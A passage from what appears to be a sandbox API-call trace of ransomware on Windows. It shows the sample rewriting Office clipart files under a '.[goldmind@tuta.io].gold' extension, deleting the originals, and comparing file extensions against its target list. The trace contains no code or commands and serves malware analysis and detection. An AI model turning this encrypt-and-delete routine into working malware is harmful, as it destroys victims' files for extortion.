CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.437] GetLastError () returned 0x0 [0109.437] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3928, lpOverlapped=0x0) returned 1 [0109.468] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3930, lpOverlapped=0x0) returned 1 [0109.469] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.469] WriteFile (in: hFile=0x188, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.469] SetEndOfFile (hFile=0x188) returned 1 [0109.470] CloseHandle (hObject=0x188) returned 1 [0109.470] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.470] SetEndOfFile (hFile=0x3b4) returned 1 [0109.471] CloseHandle (hObject=0x3b4) returned 1 [0109.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0109.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.514] lstrlenW (lpString=".doc") returned 4 [0109.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.514] lstrlenW (lpString=".docx") returned 5 [0109.514] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0109.515] lstrlenW (lpString=".pdf") returned 4 [0109.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".xls") returned 4 [0109.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.515] lstrlenW (lpString=".xlsx") returned 5 [0109.515] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0109.515] lstrlenW (lpString=".ppt") returned 4 [0109.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".zip") returned 4 [0109.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.515] lstrlenW (lpString=".rar") returned 4 [0109.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".bz2") returned 4 [0109.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".7z") returned 3 [0109.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".dbf") returned 4 [0109.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".1cd") returned 4 [0109.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".jpg") returned 4 [0109.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".doc") returned 4 [0109.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".docx") returned 5 [0109.515] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0109.515] lstrlenW (lpString=".pdf") returned 4 [0109.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".xls") returned 4 [0109.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.515] lstrlenW (lpString=".xlsx") returned 5 [0109.515] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0109.515] lstrlenW (lpString=".ppt") returned 4 [0109.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".zip") returned 4 [0109.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.515] lstrlenW (lpString=".rar") returned 4 [0109.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".bz2") returned 4 [0109.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString=".7z") returned 3 [0109.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".dbf") returned 4 [0109.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.515] lstrlenW (lpString=".1cd") returned 4 [0109.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0109.516] lstrlenW (lpString=".jpg") returned 4 [0109.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.516] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.516] lstrlenW (lpString="J0151581.WMF") returned 12 [0109.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.531] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=10752) returned 1 [0109.531] CloseHandle (hObject=0x364) returned 1 [0109.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 0x20 [0109.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.557] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.557] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0109.558] GetLastError () returned 0x0 [0109.558] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2a00, lpOverlapped=0x0) returned 1 [0109.587] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2a10, lpOverlapped=0x0) returned 1 [0109.587] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.587] WriteFile (in: hFile=0x3c8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.588] SetEndOfFile (hFile=0x3c8) returned 1 [0109.588] CloseHandle (hObject=0x3c8) returned 1 [0109.588] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.588] SetEndOfFile (hFile=0x364) returned 1 [0109.589] CloseHandle (hObject=0x364) returned 1 [0109.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0109.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.639] lstrlenW (lpString=".doc") returned 4 [0109.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.639] lstrlenW (lpString=".docx") returned 5 [0109.639] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.639] lstrlenW (lpString=".pdf") returned 4 [0109.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.639] lstrlenW (lpString=".xls") returned 4 [0109.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.639] lstrlenW (lpString=".xlsx") returned 5 [0109.639] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.639] lstrlenW (lpString=".ppt") returned 4 [0109.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".zip") returned 4 [0109.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.640] lstrlenW (lpString=".rar") returned 4 [0109.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString=".bz2") returned 4 [0109.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString=".7z") returned 3 [0109.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".dbf") returned 4 [0109.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".1cd") returned 4 [0109.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".jpg") returned 4 [0109.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".doc") returned 4 [0109.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString=".docx") returned 5 [0109.640] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.640] lstrlenW (lpString=".pdf") returned 4 [0109.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString=".xls") returned 4 [0109.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.640] lstrlenW (lpString=".xlsx") returned 5 [0109.640] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.640] lstrlenW (lpString=".ppt") returned 4 [0109.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".zip") returned 4 [0109.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.640] lstrlenW (lpString=".rar") returned 4 [0109.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString=".bz2") returned 4 [0109.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString=".7z") returned 3 [0109.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".dbf") returned 4 [0109.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".1cd") returned 4 [0109.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0109.640] lstrlenW (lpString=".jpg") returned 4 [0109.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.640] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.641] lstrlenW (lpString="J0152568.WMF") returned 12 [0109.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.654] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3696) returned 1 [0109.654] CloseHandle (hObject=0x230) returned 1 [0109.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 0x20 [0109.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.686] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.686] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.687] GetLastError () returned 0x0 [0109.687] ReadFile (in: hFile=0x38c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xe70, lpOverlapped=0x0) returned 1 [0109.692] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0109.693] ReadFile (in: hFile=0x38c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.693] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.693] SetEndOfFile (hFile=0x3c4) returned 1 [0109.693] CloseHandle (hObject=0x3c4) returned 1 [0109.693] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.693] SetEndOfFile (hFile=0x38c) returned 1 [0109.695] CloseHandle (hObject=0x38c) returned 1 [0109.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString=".doc") returned 4 [0109.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString=".docx") returned 5 [0109.713] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.713] lstrlenW (lpString=".pdf") returned 4 [0109.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString=".xls") returned 4 [0109.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.713] lstrlenW (lpString=".xlsx") returned 5 [0109.713] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.713] lstrlenW (lpString=".ppt") returned 4 [0109.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString=".zip") returned 4 [0109.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.713] lstrlenW (lpString=".rar") returned 4 [0109.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString=".bz2") returned 4 [0109.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString=".7z") returned 3 [0109.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString=".dbf") returned 4 [0109.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString=".1cd") returned 4 [0109.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString=".jpg") returned 4 [0109.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.713] lstrlenW (lpString=".doc") returned 4 [0109.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.713] lstrlenW (lpString=".docx") returned 5 [0109.713] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0109.713] lstrlenW (lpString=".pdf") returned 4 [0109.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.714] lstrlenW (lpString=".xls") returned 4 [0109.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.714] lstrlenW (lpString=".xlsx") returned 5 [0109.714] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0109.714] lstrlenW (lpString=".ppt") returned 4 [0109.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.714] lstrlenW (lpString=".zip") returned 4 [0109.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.714] lstrlenW (lpString=".rar") returned 4 [0109.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.714] lstrlenW (lpString=".bz2") returned 4 [0109.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.714] lstrlenW (lpString=".7z") returned 3 [0109.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.714] lstrlenW (lpString=".dbf") returned 4 [0109.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.714] lstrlenW (lpString=".1cd") returned 4 [0109.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0109.714] lstrlenW (lpString=".jpg") returned 4 [0109.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.714] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.714] lstrlenW (lpString="J0152602.WMF") returned 12 [0109.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.715] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=6276) returned 1 [0109.715] CloseHandle (hObject=0x3b4) returned 1 [0109.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 0x20 [0109.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.715] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.715] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.716] GetLastError () returned 0x0 [0109.716] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1884, lpOverlapped=0x0) returned 1 [0109.736] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1890, 